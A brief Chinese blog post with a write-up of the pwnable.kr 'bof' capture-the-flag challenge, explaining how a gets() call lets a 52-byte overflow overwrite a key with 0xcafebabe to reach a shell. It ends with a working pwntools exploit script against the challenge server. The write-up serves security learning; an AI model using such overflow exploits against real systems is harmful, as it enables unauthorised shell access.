pwnable.kr bof
2018-12-05 本文已影响0人
chenmuxin
思路
-检查main函数调用了什么

-func函数实现了什么功能


-如何使key==0xcafebabe,调用system(“/bin/sh”)
做法
-看到调用了gets,使用命令man查看gets函数定义,可知gets是读取一整行的字符直到结束换行

-看到字符s(即数组overflows)的大小为-2CH,因此我们的目的是将44(2C)填满,并且让我们的key也被覆盖,改变为0xcafebabe。
-由汇编的比较我们知道是arg_0与cafebabe比较

-我们可以知道arg_0的位置在+0x8

-因此总的覆盖范围应该从-2CH到+08H,一共52个字节
from pwn import*
pwn= remote("pwnable.kr",9000)
junk="a"*0x2c + "a"*0x4 + "b"*0x4
junk+=p32(0xcafebabe)
pwn.sendline(junk)
pwn.interactive()
